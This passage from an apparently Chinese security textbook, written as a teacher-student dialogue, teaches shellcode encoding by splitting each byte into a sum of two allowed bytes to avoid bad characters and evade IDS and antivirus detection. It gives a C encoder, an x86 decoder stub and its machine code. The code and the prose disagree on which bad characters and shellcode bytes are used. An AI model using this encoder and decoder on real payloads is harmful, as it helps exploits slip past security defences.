5.5.1 方法一 Z=A+B
“第一种字符拆分法,是把ShellCode的每个字符‘Z’拆分成几个数字的和。比如拆成两个,即Z=A+B。如0x77,就可拆成0x77=0x01+0x76=0x02+0x75=……=0x38+0x39。”
老师歇了口气继续说:“因为和的组合方式有很多种(如0x77就有56种组合),而我们只选一种出来,所以我们可以避免大量的ASCII字符。这样,除了decode外,可以有多种变形,对一些IDS或杀毒软件都有一定效果。”
“编码算法AddCMD.cpp可像如下用C语言实现。”
#include<stdio.h>
unsigned char ShellCode[] =
"\xF3\x78\xFE";
unsigned char BadChar[] = //不符合要求的字符
"\x00\xFF\x01";
int main()
{
unsigned char a,b;
unsigned char z;
int i, j, nLen, BadLen;
bool bSuccess;
nLen = sizeof(ShellCode) - 1; //ShellCode长度
BadLen = sizeof(BadChar) - 1; //不符合要求字符的长度
bSuccess = true;
for(i=0; i<nLen; i++)
{
z = ShellCode[i]; //取当前要拆分的字符
for(a=1; a<127; a++)
{
if(z < a) //z比a还小,拆分失败,结束
{
bSuccess = false;
printf("Failed!");
break;
}
b = z - a; //否则z 拆分成a+b
for(j=0; j<BadLen; j++) //判断a和b是否符合要求
{
if(a==BadChar[j] || b==BadChar[j]) //a或b不符合要求
break;
}
if(j>=BadLen) //a、b都符合要求,打印出来
{
printf("\\x%x\\x%x",a,b);
break; //当前z拆分成功,拆分下一个
}
else
; //a或b不符合要求,j就会<BadLen;就要改变a,继续尝试
}
if(!bSuccess) //某个字符拆分失败,拆分以失败告终
{
break;
}
}
if(bSuccess)
printf("\nSucceess!\n");
return 0;
}
“思路很清晰,但程序似乎不大好懂啊……”大家说道。
“好,我来解释一下。‘z = ShellCode[i]’取要拆分的字符;‘for(a=1; a<127; a++)’是依次尝试a的值;通过z和a,就得到b为b=z-a;然后我们判断a和b是否符合要求,如果符合要求,就把a和b打印出来,继续拆分下一个字符;如果不合要求,‘if(a==BadChar[j] || b==BadChar[j])’就要改变a和b的值,重新拆分判断。”
“哦,这样啊!全部拆分成功就表示成功了?”
“对!我们测试一下,假设不能含有00、FE和01,ShellCode为‘\xF3\x78\xFF’,拆分的效果就如图5-14。”
“哦!F3=2+F1;78=2+76;FF=2+FD。果然生成符合要求的enShellCode了!”大家嚷道。
“嗯,那我们的解码就是每次取两个数,加起来复原?”玉波说道。
“对,解码的汇编代码如下:”
__asm
{
lea eax,decode;
call eax
}
__asm
{
jmp decode_end //为了获得enShellCode的地址
decode_start:
pop ebx //得到enShellCode的开始位置 esp -> ebx
xor ecx,ecx
mov cx,0x101 //要解码的 enShellCode长度
xor esi,esi //esi=0
xor edi,edi //edi=0
decode_loop:
mov ah,[ebx+esi]
add ah,[ebx+esi+1]
mov [ebx+edi],ah //0+1放在0位中,2+3放在1位中......
inc edi //edi每次加1
inc esi
inc esi //esi每次加2
loop decode_loop
jmp decode_ok //解码完毕后,跳到解码后的地方执行!
decode_end:
call decode_start
decode_ok: //后面接编码后的enShellCode
}
“懂得了思路就比较容易理解了。依次取第0位到ah中,然后和第1位相加,得到的和存在第0位中;再取第2位和第3位相加,存在第1位中。这样就完成了解码。”
“最后,把解码的汇编提取成机器码形式的decode。如下:”
decode[] =
"\xEB\x1C\x5B\x33\xC9\x66\xB9\x01\x01"
"\x33\xF6\x33\xFF\x8A\x24\x33\x02\x64"
"\x33\x01\x88\x24\x3B\x47\x46\x46\xE2"
"\xF1\xEB\x05\xE8\xDF\xFF\xFF\xFF"
“有了编码和解码的代码,大家下来就可自己测试了。还是先用编码程序把ShellCode编码,得到enShellCode,再把decode放在前面,得到完整的程序后执行,看看最终效果。”
测试!还是成功了!
“不错,不错,这种思路很巧妙!”大家感叹道。
“还是那句话,没有十全十美的方法。这种方法的缺点是:较小的数拆分的方式较少,像0x07这样的数,就有可能无法找到符合条件的组合。”
“当然,decode代码中仍有可能含有不合要求的字符,在这种情况下就需要采用微调的方法改变,如果微调也无效,那就可能需要换算法了。”